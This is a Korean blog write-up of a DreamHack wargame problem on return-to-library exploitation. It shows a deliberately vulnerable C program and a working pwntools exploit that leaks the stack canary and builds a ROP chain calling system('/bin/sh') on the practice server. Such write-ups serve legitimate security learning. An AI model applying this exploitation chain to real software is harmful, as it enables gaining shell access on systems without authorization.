Hack/DreamHack(로드맵)
[System_Hacking] stage7_문제풀이(Return to Library)
CIDY
2022. 7. 2. 16:31
문제가 너무 간단해서 그냥 풀이 적지 말까 하다가 그래도 차근차근 해나가고 싶어서 적고 감
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
// 64-bit, canary, nx, partial relro
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
카나리 릭 -> ROP가 전부인 간단한 코드다.
from pwn import *
p = remote("host3.dreamhack.games", 12865)
#p = process("./rtl")
pop_rdi = 0x400853
binsh = 0x400874
ret = 0x400285
system_plt = 0x4005d0
p.recvuntil(b"Buf: ")
p.send(b"A" * 0x39)
p.recvuntil(b"Buf: ")
p.recvn(0x39)
canary = u64(p.recvn(7).rjust(8, b"\x00"))
print(hex(canary))
p.recvuntil(b"Buf: ")
pay = b"A" * 0x30
pay += b"B" * 0x8
pay += p64(canary)
pay += b"C" * 0x8
pay += p64(pop_rdi)
pay += p64(binsh)
pay += p64(ret)
pay += p64(system_plt)
p.send(pay)
p.interactive()
아 그리고 참고로 binsh주소는 그냥 gdb에서 find /bin/sh하면 있는거 다 보여준다. 그중에 라이브러리에 적힌건 aslr때문에 못쓰니까 그건 빼고 가져와주면 됨.
(이건 char* 라 data영역에서 찾으면 안될듯)